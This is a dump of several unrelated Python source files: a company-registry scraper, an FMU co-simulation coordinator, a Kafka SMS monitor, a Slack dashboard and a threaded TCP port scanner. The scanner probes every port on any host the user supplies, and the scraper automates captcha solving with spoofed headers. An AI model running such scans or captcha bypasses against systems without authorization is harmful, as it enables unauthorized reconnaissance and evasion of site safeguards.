e-Services').click()\n WebDriverWait(driver, 30).until(EC.presence_of_element_located((By.LINK_TEXT, \"Taxpayer Search\")))\n driver.find_element_by_link_text('Taxpayer Search').click()\n driver.find_element_by_name(\"taxPayerSearchVO.name\").send_keys(self.keyword)\n driver.find_element_by_id('submitButtonId').click()\n driver.switch_to.alert.accept()\n WebDriverWait(driver, 60).until(EC.invisibility_of_element_located((By.ID, \"trProgBar\")))\n source = driver.page_source\n soup = BeautifulSoup(source, 'lxml')\n results_list = soup.find_all('tr', id=re.compile('^ROLE_LST'))\n # This site has all the info on direct search results page so target objects are created here\n for result in results_list:\n source = 'https://www.zra.org.zm/'\n name = result.find_all('td')[2].text.strip()\n link = 'N/A'\n status = result.find_all('td')[6].text.strip()\n id_name = 'TPIN'\n id_number = result.find_all('td')[3].text.strip()\n data = collections.OrderedDict()\n data['Old TPIN No'] = result.find_all('td')[1].text.strip()\n target = self.target_class(source, name, link, status, id_name, id_number, data)\n self.search_results.append(target)\n\n def target_scrape(self, target_name):\n \"\"\" Returns target element detailed object based on a given name. \"\"\"\n for element in self.search_results:\n if element.name == target_name:\n target = element\n break\n return target\n\n\nclass zefixScraper(ScraperGeneric):\n def generate_url(self):\n \"\"\" Generates and returns search url. \"\"\"\n fixed_keyword = '%20'.join(self.keyword.split())\n url = f'https://www.zefix.ch/en/search/entity/list?name={fixed_keyword}'\n return url\n\n def search_scrape(self):\n \"\"\" Sets self.search_results attribute to a list of search result objects. \"\"\"\n search_url = self.generate_url()\n driver = self.get_chrome_driver()\n driver.get(search_url)\n WebDriverWait(driver, 30).until(EC.presence_of_element_located((By.CSS_SELECTOR, 'div.zefix-search-results')))\n source = driver.page_source\n soup = BeautifulSoup(source, 'lxml')\n try:\n results_div = soup.find('div', class_='zefix-search-results').tbody\n except AttributeError:\n return None\n for result in results_div.find_all('tr', class_='ng-scope'):\n # seat is needed to identify search results\n seat = result.find('div', class_='company-seat ng-scope').text.strip()\n table_cell = result.find('td', {'data-title-text': 'business name'})\n name = table_cell.a.text.strip()\n name = f'{name} - {seat}'\n link_part = table_cell.a['href'].strip()\n link = f'https://www.zefix.ch{link_part}'\n result = self.search_result_class(name, link)\n self.search_results.append(result)\n\n def target_scrape(self, target_name):\n \"\"\" Returns target element detailed object based on a given name. \"\"\"\n for element in self.search_results:\n if element.name == target_name:\n target_link = element.link\n break\n driver = self.get_chrome_driver()\n driver.get(target_link)\n WebDriverWait(driver, 30).until(EC.presence_of_element_located((By.ID, 'firm-main-entry')))\n source = driver.page_source\n soup = BeautifulSoup(source, 'lxml')\n content_div = soup.find('section', id='firm-main-entry')\n name = content_div.find('zefix-firm-name').text.strip()\n source = 'https://www.zefix.ch/'\n name = ' '.join(name.split())\n table_div = content_div.find('table', class_='table-display')\n status = table_div.tbody.find('td', class_='zefix-status ng-binding').text.strip()\n id_name = 'UID'\n id_number = table_div.find('span', {'ng-bind-html': 'uid()'}).text.strip()\n data = collections.OrderedDict()\n ch_id = table_div.tbody.find('td', string=re.compile('CH-ID')).next_sibling.text.strip()\n data['CH-ID'] = ch_id\n ehra_id = table_div.tbody.find('td', string=re.compile('EHRA-ID')).next_sibling.text.strip()\n data['EHRA-ID'] = ehra_id\n seat = table_div.tbody.find('td', string=re.compile('seat')).next_sibling.text.strip()\n data['Seat'] = seat\n try:\n auditor = table_div.tbody.find('td', string=re.compile('Auditor')).next_sibling.text.strip()\n data['Auditor/s'] = auditor\n except AttributeError:\n pass\n purpose = content_div.find('td', class_='purpose').text.strip()\n data['Purpose'] = purpose\n target = self.target_class(source, name, target_link, status, id_name, id_number, data)\n return target\n\n\nclass mcaScraper(ScraperGeneric):\n def __init__(self, keyword, search_result_class=ExtendedSearchResult, target_class=TargetResult):\n super().__init__(keyword, search_result_class, target_class)\n\n def generate_url(self):\n \"\"\" Generates and returns search url. \"\"\"\n search_url = 'http://www.mca.gov.in/mcafoportal/viewCompanyMasterData.do'\n return search_url\n\n def search_scrape(self):\n \"\"\" Sets self.search_results attribute to a list of search result objects.\n This search engine is scraped using requests library, if something doesn't\n work, check the headers first and compare them to real browser request to\n the page.\n \"\"\"\n data_request_url = 'http://www.mca.gov.in/mcafoportal/cinLookup.do'\n header_info = {\n \"Host\": \"www.mca.gov.in\",\n \"Connection\": \"keep-alive\",\n \"Content-Length\": \"16\",\n \"Accept\": \"*/*\",\n \"Origin\": \"http://www.mca.gov.in\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\",\n \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n \"Referer\": \"http://www.mca.gov.in/mcafoportal/viewCompanyMasterData.do\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7\",\n }\n data = {'companyname': self.keyword}\n response = requests.post(data_request_url, data=data, headers=header_info)\n try:\n companies = response.json()['companyList']\n except KeyError:\n return None\n for c in companies:\n name = c['companyName']\n id = c['companyID']\n result = self.search_result_class(name, other={'id': id})\n self.search_results.append(result)\n\n def get_captcha_QImage(self, driver):\n \"\"\" Returns captcha QImage from the site loaded in driver. \"\"\"\n # Wait for captcha to load and scroll to it\n WebDriverWait(driver, 30).until(EC.presence_of_element_located((By.ID, 'captcha')))\n captcha = driver.find_element_by_id('captcha')\n actions = ActionChains(driver)\n actions.move_to_element(captcha).perform()\n # Get a screenshot of a page and save it as QImage object\n png = driver.get_screenshot_as_png()\n captcha_QImage = QtGui.QImage()\n captcha_QImage.loadFromData(png)\n # Crop the screenshot and leave only captcha\n location = captcha.location\n size = captcha.size\n left = location['x'] - 30\n top = location['y']\n crop_box = QtCore.QRect(left, top, size['width'] + 30, size['height'])\n captcha_QImage = captcha_QImage.copy(rect=crop_box)\n return captcha_QImage\n\n def target_scrape(self, target_name):\n \"\"\" Returns target element detailed object based on a given name. \"\"\"\n for element in self.search_results:\n if element.name == target_name:\n target_id = element.other['id']\n break\n search_url = self.generate_url()\n driver = self.get_chrome_driver()\n driver.get(search_url)\n captcha_QImage = self.get_captcha_QImage(driver)\n captcha_answer = utils.get_captcha(captcha_QImage)\n driver.find_element_by_name('userEnteredCaptcha').send_keys(captcha_answer)\n driver.find_element_by_name('companyID').send_keys(target_id)\n driver.find_element_by_id('companyLLPMasterData_0').click()\n # wait for results or alert to load\n try:\n WebDriverWait(driver, 3).until(EC.visibility_of_element_located((By.ID, 'msg_overlay')))\n return None\n except TimeoutException:\n # No captcha error, continue\n pass\n try:\n WebDriverWait(driver, 20).until(EC.visibility_of_element_located((By.ID, 'exportCompanyMasterData')))\n except TimeoutException:\n return None\n source = driver.page_source\n soup = BeautifulSoup(source, 'lxml')\n try:\n result = soup.find('table', id='resultTab1').tbody\n except AttributeError:\n return None\n source = 'http://www.mca.gov.in/'\n name = result.find('td', string=re.compile('Company Name')).find_next_sibling('td').text.strip()\n link = 'N/A'\n status = result.find('td', string=re.compile('Company Status')).find_next_sibling('td').text.strip()\n id_name = 'CIN'\n id_number = target_id\n data = collections.OrderedDict()\n data['ROC Code'] = result.find('td', string=re.compile('ROC Code')).find_next_sibling('td').text.strip()\n data['Registration Number'] = result.find('td', string=re.compile('Registration Number')).find_next_sibling('td').text.strip()\n data['Company Category'] = result.find('td', string=re.compile('Company Category')).find_next_sibling('td').text.strip()\n data['Company SubCategory'] = result.find('td', string=re.compile('Company SubCategory')).find_next_sibling('td').text.strip()\n data['Class of Company'] = result.find('td', string=re.compile('Class of Company')).find_next_sibling('td').text.strip()\n target = self.target_class(source, name, link, status, id_name, id_number, data)\n return target\n\n\nclass dubaidedScraperEn(ScraperGeneric):\n # NOT WORKING, DETECTED AS MALICIOUS ACTION - TO BE SOLVED, until that time it's disabled in GUI\n def generate_url(self):\n \"\"\" Generates and returns search url. \"\"\"\n search_url = 'https://eservices.dubaided.gov.ae/Pages/Anon/TNSrch.aspx?1=1&PID=10106&sname=Search_Trade_Names&LID=1'\n return search_url\n\n def search_scrape(self):\n \"\"\" Sets self.search_results attribute to a list of search result objects. \"\"\"\n search_url = self.generate_url()\n driver = self.get_chrome_driver()\n driver.get(search_url)\n try:\n WebDriverWait(driver, 20).until(EC.visibility_of_element_located((By.ID, 'DEDTNEnglish')))\n except TimeoutException:\n return None\n driver.find_element_by_id('DEDTNEnglish').send_keys(self.keyword)\n btn = driver.find_element_by_id('DEDBtnSrch')\n actions = ActionChains(driver)\n actions.move_to_element(btn).click(btn).perform()\n try:\n WebDriverWait(driver, 20).until(EC.visibility_of_element_located((By.XPATH, '// th[text()=\"Trade Name\"]')))\n except TimeoutException:\n return None\n source = driver.page_source\n soup = BeautifulSoup(source, 'lxml')\n try:\n result_rows = soup.find('th', string='Trade Name').parent.next_siblings\n except AttributeError:\n return None\n for row in result_rows:\n cells = row.find_all('td')\n name = cells[3].text.strip()\n try:\n link = cells[2].a['href'].strip()\n except AttributeError:\n continue\n link = f'https://eservices.dubaided.gov.ae/Pages/Anon/{link}'\n result = self.search_result_class(name, link)\n self.search_results.append(result)\n\n\nclass dfsaScraper(ScraperGeneric):\n def __init__(self, keyword, search_result_class=ExtendedSearchResult, target_class=TargetResult):\n super().__init__(keyword, search_result_class, target_class)\n\n def generate_url(self):\n \"\"\" Generates and returns search url. \"\"\"\n keyword = '+'.join(self.keyword.split())\n search_url = f'http://www.dfsa.ae/SearchFirms?FirmName=&LicenceNumber=&Search={keyword}'\n return search_url\n\n def search_scrape(self):\n \"\"\" Sets self.search_results attribute to a list of search result objects. \"\"\"\n url = self.generate_url()\n response = requests.post(url)\n if response.status_code == 200:\n companies = response.json()\n else:\n return None\n for c in companies:\n name = c['FirmName']\n id = c['LicenceNumber']\n firm_id = c['FirmID']\n result = self.search_result_class(name=name, other={'id': id, 'firmId': firm_id})\n self.search_results.append(result)\n\n def target_scrape(self, target_name):\n \"\"\" Returns target element detailed object based on a given name. \"\"\"\n for element in self.search_results:\n if element.name == target_name:\n target_id = element.other['id']\n target_firm_id = element.other['firmId']\n break\n target_data_url = f'http://www.dfsa.ae/GetFirmDetails?LicenceNumber={target_id}&nl_id={target_firm_id}'\n response = requests.post(target_data_url)\n if response.status_code == 200:\n company = response.json()\n else:\n return None\n source = 'http://www.dfsa.ae/'\n name = company['FirmName']\n link = 'N/A'\n status = company['LegalStatus']\n id_name = 'DFSA Reference Number'\n id_number = company['LicenceNumber']\n data = collections.OrderedDict()\n data['Trading Name'] = company['TradingName']\n data['Address'] = company['Address']\n data['Licence Date'] = company['DateLicence']\n target = self.target_class(source, name, link, status, id_name, id_number, data)\n return target\n\n\nclass dfmScraper(ScraperGeneric):\n def generate_url(self):\n \"\"\" Generates and returns search url. \"\"\"\n search_url = 'https://www.dfm.ae/issuers/listed-securities/securities'\n return search_url\n\n def search_scrape(self):\n \"\"\" Sets self.search_results attribute to a list of search result objects. \"\"\"\n search_url = self.generate_url()\n driver = self.get_chrome_driver()\n driver.get(search_url)\n source = driver.page_source\n soup = BeautifulSoup(source, 'lxml')\n categories = soup.find('div', id='companiesContainer').find_all('div', class_='a-group')\n keyword_pattern = re.compile(f'{self.keyword.lower()}')\n for category in categories:\n elements = category.find('table', class_='a-table').tbody.find_all('tr')\n for element in elements:\n name = element.find('span', class_='at-name').text.strip()\n if re.search(keyword_pattern, name.lower()):\n link = element.find('td', class_='at-info').a['href']\n # for now support dfm stock only (nasdaq available on site too)\n if 'dfm.ae' in link:\n result = self.search_result_class(name, link)\n self.search_results.append(result)\n\n def target_scrape(self, target_name):\n \"\"\" Returns target element detailed object based on a given name. \"\"\"\n for element in self.search_results:\n if element.name == target_name:\n target_link = element.link\n break\n driver = self.get_chrome_driver()\n driver.get(target_link)\n source = driver.page_source\n soup = BeautifulSoup(source, 'lxml')\n content_div = soup.find('div', id='tab-2')\n source = 'https://www.dfm.ae/'\n status = 'N/A'\n id_name = 'ISIN'\n id_number = content_div.ul.find(string=re.compile('ISIN:')).next_sibling.text.strip()\n data = collections.OrderedDict()\n data['Symbol'] = content_div.ul.find(string=re.compile('Symbol:')).next_sibling.text.strip()\n contact_div = content_div.find('div', class_='span4')\n try:\n data['Address'] = contact_div.find('strong', string=re.compile('Address')).find_next_sibling('p').text.strip()\n except AttributeError:\n data['Address'] = 'N/A'\n data['Established'] = content_div.find('strong', string=re.compile('ESTABLISHED')).find_next_sibling('p').text.strip()\n data['Chairman'] = content_div.find('strong', string=re.compile('CHAIRMAN')).find_next_sibling('p').text.strip()\n target = self.target_class(source, target_name, target_link, status, id_name, id_number, data)\n return target\n\n\nSITES_DB = {\n 'India': {'http://www.mca.gov.in/': mcaScraper},\n # 'UK': {'https://www.fca.org.uk/': fcaScraper},\n 'Zambia': {'https://www.zra.org.zm/': zraScraper},\n 'Switzerland': {'https://www.zefix.ch/': zefixScraper},\n 'UAE': {'http://www.dfsa.ae/': dfsaScraper,\n 'https://www.dfm.ae/': dfmScraper,\n # '(EN) https://eservices.dubaided.gov.ae/': dubaidedScraperEn},\n }\n}\n","sub_path":"fds_classes.py","file_name":"fds_classes.py","file_ext":"py","file_size_in_byte":28408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"186866434","text":"import numpy as np \nfrom pyfmi import load_fmu\nfrom pylab import *\nimport random\nimport math\nimport sys\nfrom constants import *\nimport matplotlib.pyplot as plt\n\n\n#------------------------------------------------------------------------------\n# ACCELEROMETER VALUE NORMALIZER FUNCTION\n#------------------------------------------------------------------------------\ndef accelerometer_normalizer(accelerometer):\n\n\tcap1 = accelerometer.get_real( ACCELEROMETER_CAP1 )\n\tcap2 = accelerometer.get_real( ACCELEROMETER_CAP2 )\n\tcap5 = accelerometer.get_real( ACCELEROMETER_CAP5 )\n\tcap7 = accelerometer.get_real( ACCELEROMETER_CAP7 )\n\n\tfinal_cap = (int(math.floor((((cap1+cap2+cap5+cap7)/4)*1e22))+20) & 0xffff)\n\n\treturn final_cap\n\n#--------------------------------------------------------------------------------\n# DATA EXCHANGE BETWEEN MODELS\n#--------------------------------------------------------------------------------\n\ndef data_exchange(m6502,memory,sine1,sine2,sine3,accelerometer,gain,clk):\n\n\t#----------------------------------------------------------------------------\n\t# ACCELEROMETER SETTING\n\t#----------------------------------------------------------------------------\n\n\taccelerometer.set_boolean(ACCELEROMETER_CLK,\tclk )\n\n\t#get values from the Sine Waves to the Accelerometer\n\t\n\taccelerometer.set_real(ACCELEROMETER_AVX,\t\tsine1.get_real( SINE1_Y )\t)\n\taccelerometer.set_real(ACCELEROMETER_AVY,\t\tsine2.get_real( SINE2_Y )\t)\n\taccelerometer.set_real(ACCELEROMETER_AVZ,\t\tsine3.get_real( SINE3_Y )\t)\t\n\n\n\t#----------------------------------------------------------------------------\n\t# MEMORY SETTING\n\t#----------------------------------------------------------------------------\n\n\tmemory.set_boolean(MEMORY_CLK,\tclk )\n\t# From CPU\n\tmemory.set_integer(MEMORY_ADDR,\t\t\t\tm6502.get_integer(M6502_ADDR) \t)\t# addr\n\tmemory.set_integer(MEMORY_DATAO,\t\t\tm6502.get_integer(M6502_DATAO)\t)\t# datao\n\tmemory.set_boolean(MEMORY_OEB,\t\t\t\tm6502.get_boolean(M6502_OEB)\t)\t# oeb\n\tmemory.set_boolean(MEMORY_SYNC,\t\t\t\tm6502.get_boolean(M6502_SYNC)\t)\t# sync\n\tmemory.set_boolean(MEMORY_VPAB,\t\t\t\tm6502.get_boolean(M6502_VPAB)\t)\t# vpab\n\tmemory.set_boolean(MEMORY_WE_N,\t\t\t\tm6502.get_boolean(M6502_WE_N)\t)\t# we_n\n\tmemory.set_integer(MEMORY_ACCELEROMETER, \taccelerometer_normalizer(accelerometer) ) # value from accelerometer\n\t\n\t# From Gain\n\t\n\tmemory.set_integer(MEMORY_RESULT, gain.get_integer(RESULT))\n\tmemory.set_boolean(MEMORY_RESULT_RDY, gain.get_boolean(RESULT_READY))\n\n\n\t#----------------------------------------------------------------------------\n\t# M6502 SETTING\n\t#----------------------------------------------------------------------------\n\t\n\tm6502.set_boolean(M6502_CLK,\tclk \t\t\t\t\t\t\t\t)\t# clk\n\tm6502.set_integer(M6502_DATAI,\tmemory.get_integer(MEMORY_DATAI)\t)\t# datai\n\tm6502.set_boolean(M6502_IRQ_N,\tmemory.get_boolean(MEMORY_IRQ_N)\t)\t# irq_n\n\tm6502.set_boolean(M6502_NMI_N,\tmemory.get_boolean(MEMORY_NMI_N)\t)\t# nmi_n\n\tm6502.set_boolean(M6502_RES_N,\tmemory.get_boolean(MEMORY_RES_N)\t)\t# res_n\n\tm6502.set_boolean(M6502_RDY,\tmemory.get_boolean(MEMORY_RDY)\t\t)\t# rdy\n\tm6502.set_boolean(M6502_SOB_N,\tmemory.get_boolean(MEMORY_SOB_N)\t)\t# sob_n\n\t\n\n\t#------------------------------------------------------------------------------\n\t# GAIN SETTING\n\t#------------------------------------------------------------------------------\n\n\t# From Memory\n\tgain.set_integer(DATA, memory.get_integer(MEMORY_DATA))\n\tgain.set_boolean(DATA_READY, memory.get_boolean(MEMORY_DATA_RDY))\n\n\n\n\n\n\n#----------------------------------------------------------------------------------------------------\n#----------------------------------------------------------------------------------------------------\n#- MAIN - MAIN - MAIN - MAIN - MAIN - MAIN - MAIN - MAIN - MAIN - MAIN - MAIN - MAIN - MAIN - MAIN --\n#----------------------------------------------------------------------------------------------------\n#----------------------------------------------------------------------------------------------------\n\n\n#----------------------------------------------------------------------------------------------------\n# 1. FMUs LOADING\n#----------------------------------------------------------------------------------------------------\n\n# log_level is used to set the fmu's log level. \n# NOTHING: do not use log \n# VERBOSE: log everything in file. _log.txt\n\n\n# Digital Models\nmemory \t\t= load_fmu( './fmus/memory.fmu',\t\t\tlog_level = NOTHING )\nm6502 \t\t= load_fmu( './fmus/m6502.fmu',\t\t\t\tlog_level = NOTHING )\naccelerometer \t= load_fmu( './fmus/accelerometer.fmu',\t\tlog_level = NOTHING )\ngain = load_fmu('./fmus/gain.fmu', log_level = NOTHING)\n\n#Continuous Models \nsine1 \t\t\t= load_fmu( './fmus/Sine_1.fmu',\t\t\tlog_level = NOTHING )\nsine2 \t\t\t= load_fmu( './fmus/Sine_2.fmu',\t\t\tlog_level = NOTHING )\nsine3 \t\t\t= load_fmu( './fmus/Sine_3.fmu',\t\t\tlog_level = NOTHING )\n\n\n\n\n#----------------------------------------------------------------------------------------------------\n# 2. FMUs INITIALIZATION\n#----------------------------------------------------------------------------------------------------\n\n# Initialize method call fmi2SetupExperiment\naccelerometer.initialize()\nm6502.initialize()\nmemory.initialize()\ngain.initialize()\nsine1.initialize()\nsine2.initialize()\nsine3.initialize()\n\n\n# Global time \ntime=0.\n\n#Simulation Step\nstep=20e-6\n\n\n# Initial value of clock for digital models\nclk=False\n\n\ntime_values = []\naccelerometer_values = []\ngain_values = []\n\n\n#----------------------------------------------------------------------------------------------------\n# 3. MAIN ROUTINE\n#----------------------------------------------------------------------------------------------------\n\nwhile time<1. :\t# Simulate 1 second\n\n\t\t#----------------------------------------------------\n\t\t# 3.1 SIMULATION DIGITAL MODELS STEP\n\t\t#----------------------------------------------------\n\n\t\t# do_step method call fmi2DoStep\n\n\t\tmemory.do_step(\t\t\tcurrent_t = time, step_size = step )\n\t\tm6502.do_step(\t\t\tcurrent_t = time, step_size = step )\n\t\taccelerometer.do_step(\tcurrent_t = time, step_size = step )\n\t\tgain.do_step(\tcurrent_t = time, step_size = step )\n\n\n\t\t#-------------------------------------------------\n\t\t# 3.2 SIMULATION CONTINUOUS MODELS STEP\n\t\t#-------------------------------------------------\n\n\t\t# Sine Waves simulation\n\n\t\tsine1.do_step( current_t = time, step_size = step )\n\t\tsine2.do_step( current_t = time, step_size = step )\n\t\tsine3.do_step( current_t = time, step_size = step )\n\n\n\t\t# Digital clock update\n\t\tclk = not clk\t\t\n\n\t\t# Data Exchange between Digital and Continuous models\n\t\tdata_exchange(m6502, memory, sine1, sine2, sine3, accelerometer, gain, clk)\n\t\t\n\t\t# Update the global time\n\t\ttime = time + step\n\n\t\t# Tracing Time, Accelerometer and Gain\n\t\ttime_values.append( time )\t\t\t\t\t\t \t\t\t# trace Time\t\n\t\taccelerometer_values.append( accelerometer.get(\"Cap1\") )\t# trace one value from the Accelerometer\n\t\tgain_values.append( gain.get(\"result\"))\n\n\n#----------------------------------------------------\n# 4. PLOT ACCELEROMETER & GAIN VALUES\n#----------------------------------------------------\n\n#Plot Figure 1 ( Accelerometer )\nplt.figure(1)\nplt.subplot(111)\nplt.title('Accelerometer')\nplt.plot(time_values,accelerometer_values)\ngrid(True)\n\n\n#Plot Figure 2 ( Gain )\nplt.figure(2)\nplt.subplot(111)\nplt.title('Gain')\nplt.plot(time_values,gain_values)\ngrid(True)\n\n\nplt.show()\n","sub_path":"fmi_lesson_must/coordinator/coordinator.py","file_name":"coordinator.py","file_ext":"py","file_size_in_byte":7321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"513862458","text":"import socket # as we are opening sockets, need the module\n \nimport time # time our script\n \nimport threading # we want to multi thread this \n \nfrom queue import Queue # and have queue management\n \n# .45 took 159 seconds (and missed a port)\n# .25 took 87 seconds\n# .15 took 54 seconds\nsocket.setdefaulttimeout(0.55)\n \n# lock thread during print so we get cleaner outputs\nprint_lock = threading.Lock()\n \n# notify user\ntarget = input('Host to Scan: ')\n \n# convert to ip, if they give us a name\n# this requires that it actually resolves\nt_IP = socket.gethostbyname(target)\nprint ('Scanning Host for Open Ports: ', t_IP)\n \n \n# define our port scan process\ndef portscan(port):\n \n # create socket object\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n \n # try to connect\n try:\n # create/open connection\n conx = s.connect((t_IP, port))\n \n # don't let thread contention screw up printing\n with print_lock:\n try:\n service = socket.getservbyport(port, 'tcp')\n except OSError:\n print(port)\n print(port, service)\n \n # close out that connection\n conx.close()\n except:\n pass\n \n# threader thread pulls worker from queue and processes\ndef threader():\n while True:\n # gets worker from queue\n worker = q.get()\n # run job with savailable worker in queue (thread)\n portscan(worker)\n\n # complete with the job, shut down thread?\n q.task_done()\n \n# create queue and threader \nq = Queue()\n \n# start time\nstartTime = time.time()\n \n# 100 threads took 172 seconds\n# 200 threads took 87 seconds \ntry:\n numberOfThreads = int(input('Thread number : '))\nexcept:\n numberOfThreads = 200\n print('Using default threat number :', numberOfThreads)\n pass\n\nfor x in range(numberOfThreads):\n # thread id\n t = threading.Thread(target = threader)\n \n # classifying as a daemon, so they will die when the main dies\n t.daemon = True\n \n # begins, must come after daemon definition\n t.start()\n \n# this is the range or variable passed to the worker pool \nfor worker in range(1, 65535):\n q.put(worker)\n \n# wait until thrad terminates \nq.join()\n \n \n# ok, give us a final time report\nruntime = float(\"%0.2f\" % (time.time() - startTime))\nprint(\"Run Time: \", runtime, \"seconds\")\n","sub_path":"linhtinh/scan_node.py","file_name":"scan_node.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"245728111","text":"#!/usr/bin/env python\n# encoding=utf-8\nimport requests\nimport datetime\nfrom demo.sms import send_msg\n\nnow_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\n\ndef send(msg):\n print(send_msg(\"17853149599\", \"SMS_130924380\", {\"code\": str(msg)}))\n\n\ndef check(url, name):\n try:\n response = requests.get(url).json()\n print(response)\n data = response['data']\n if data is None:\n print(now_time + ' ' + name + ' kafka consumer unstart')\n else:\n state = data['state']\n thread_id = str(data['id'])\n print(now_time + ' ' + 'thread: ' + thread_id + ' state: ' + state)\n if state != 'RUNNABLE12':\n pass\n send(now_time + ' ' + name + ' kafka thread: ' + thread_id + ' error')\n except Exception as e:\n send(now_time + ' ' + name + ' error!')\n print(Exception, \":\", e)\n\n\ncheck('http://usercenter.stalary.com:7200/kafkaState', 'userCenter')\n","sub_path":"demo/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"304034820","text":"###########################################\n# Libraries\n###########################################\n\nimport dash\nfrom dash.dependencies import Input, Output\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom textwrap import dedent\nimport json\nimport base64\n\nfrom pandas_datareader import data as web\nfrom datetime import datetime, date, timedelta\nimport humanize\n\nimport plotly.graph_objs as go\nfrom plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot\n\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport pandas as pd\n\n###########################################\n# Load data\n###########################################\n\nchannels = pd.read_csv('info/channels_labeled.csv')\nmessages = pd.read_csv(\"info/messages.csv\")\nmessages['count_messages'] = 1\nencoded_image = base64.b64encode(open('leftshark.gif', 'rb').read())\n\n# Per module\n\ndf = messages.groupby(['module']).sum().reset_index().sort_values(by=['count_reactions'], ascending=True)\ndf['courses'] = df['module'].apply(lambda mod: \"\".join([f\"- {course}
    \" for course in channels[channels['folder']==mod].actual_name.unique()]))\n\ntrace1 = {\n\t\t\t\t'x': df.module.values,\n\t\t\t\t'y': df.count_reactions.values,\n\t\t\t\t'text':[f\"Reactions: {num_msg:,d}

    Channels:
    {courses}\" for (num_msg,courses) in zip(df.count_reactions,df.courses)],\n\t\t\t\t'type': 'bar',\n\t\t\t\t'opacity': 0.6,\n\t\t\t\t'marker': dict(color='#73973F',\n line=dict(color='rgb(3,42,26)',width=1.5,)\n ),\n 'name': 'Reactions',\n 'hoverinfo':'text'\n\t\t\t\t}\n\ntrace2 = {\n 'x':df.module.values,\n 'y':df.count_messages.values,\n 'text':[f\"Messages: {num_msg:,d}\" for num_msg in df.count_messages],\n 'type': 'bar',\n 'opacity':0.6,\n 'marker':dict(color='#E8821E',\n line=dict(color='rgb(90,55,6)',width=1.5,)\n ),\n 'name':\"Messages\",\n 'hoverinfo':'text',\n \n }\n\t\t\t\t\n# Per channel\n\ndf2 = messages.groupby(['course']).sum().reset_index().sort_values(by=['count_reactions'], ascending=True)\n\ndef color_per_ch(courses):\n\tcolors = []\n\tfor course in courses:\n\t\tif \"cats\" in course: \n\t\t\tcolors.append(\"#a8228e\")\n\t\telif \"dogs\" in course:\n\t\t\tcolors.append(\"#a8228e\")\n\t\telse:\n\t\t\tcolors.append(\"#02b8a0\")\n\treturn colors\n\nc = color_per_ch(df2.course.values)\nt = [f\"Channel: {chan}
    Module: {messages[messages['course']==chan].module.values[0]}
    Reactions: {num_msg:,d}\" for (chan,num_msg) in zip(df2.course,df2.count_reactions)]\nt = [ f\"😻😻😻
    {msg}\" if \"cats\" in msg else msg for msg in t]\nt = [ f\"🐶🐶🐶
    {msg}\" if \"dogs\" in msg else msg for msg in t]\n\ntrace3 = {\n\t\t\t\t'x': df2.course.values,\n\t\t\t\t'y': df2.count_reactions.values,\n\t\t\t\t'text':t,\n\t\t\t\t'type': 'bar',\n\t\t\t\t'opacity': 0.6,\n\t\t\t\t'marker': dict(color=c,\n\t\t\t\t\t\t\tline=dict(color='919194',width=1.5,)),\n 'name': 'Reactions',\n 'hoverinfo':'text'\n\t\t\t\t}\n\ncolors_ds = {\n 'mod1_summer': \"#FDBB30\",\n 'mod2_fall1': \"#EB821E\",\n 'mod3_fall2': \"#CD542C\",\n 'mod4_winter': \"#00B3D8\",\n 'mod5_spring1': \"#02B8A0\",\n 'mod6_spring2': \"#AED136\",\n 'mod7_summer': \"#73973f\",\n 'others': \"#A8228E\",\n 'overall': \"#DED5B4\"\n }\n \noptions = [{\"label\": \"overall\", \"value\": \"overall\"}]\noptions = options + [{\"label\": channels[channels['folder_name']==name].actual_name.values[0], \"value\": name} for name in messages.course.unique()]\n\n###########################################\n# HTML\n###########################################\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\napp.index_string = '''\n\n\n\n \n MSDS 2019 - Slack Reactions\n {%favicon%}\n {%css%}\n \n \n \t
    \n \t\t

    MSDS 2019 - Slack Reactions

    \n \t
    \n {%app_entry%}\n {%config%}\n {%scripts%}\n {%renderer%}\n \n \n\n'''\n\ncolors = {\n\t'background': '#FFFAF0',\n 'title': '#00543C',\n 'subtitle': '#A8228E',\n 'text': '#262627'\n}\n\n###########################################\n# Tab pages\n###########################################\n\n# Tab 1 - Reactions per Module/Channel\n\ntab_one = html.Div(className = 'row', children=[\n\t\t\n\thtml.Div([\n \n # Graph 1\n dcc.Graph(\n id='graph1',\n )],\n\t\tstyle={\n\t\t\t'marginLeft': 70,\n\t\t\t'marginTop': 20,\n\t\t\t'width': '70%',\n\t\t\t'display': 'inline-block',\n\t\t\t'vertical-align': 'middle',\n\t\t\t'float': 'left'\n\t\t\t}\n\t),\n\t\n\t\n\thtml.Div([\n\t\t# Image\n\t\thtml.Img(src='data:image/gif;base64,{}'.format(encoded_image.decode())),\n\t\t\n\t\t# Subtitle\n \thtml.H5('A dashboard for the craziest cohort of all', \n \t\tstyle={\n \t\t'textAlign': 'center',\n \t\t'color': colors['subtitle']\n \t\t\t}\n \t\t),\n \t\t\n\t\t# Subtitle\n \thtml.P('Show number of reactions by...', \n \t\tstyle={\n \t\t'textAlign': 'center',\n \t\t'color': colors['text']\n \t\t\t}\n \t\t),\n \t\t\n \t# Dropdown\n \t\tdcc.Dropdown(id=\"selected-value1\",\n options=[{\"label\": \"Module\", \"value\": \"Module\"},{\"label\": \"Channel\", \"value\": \"Channel\"}],\n multi=False,\n value=\"Module\",\n placeholder=\"Reactions by...\",\n clearable=False)\n\t\t\n\t\t],\n style={\n 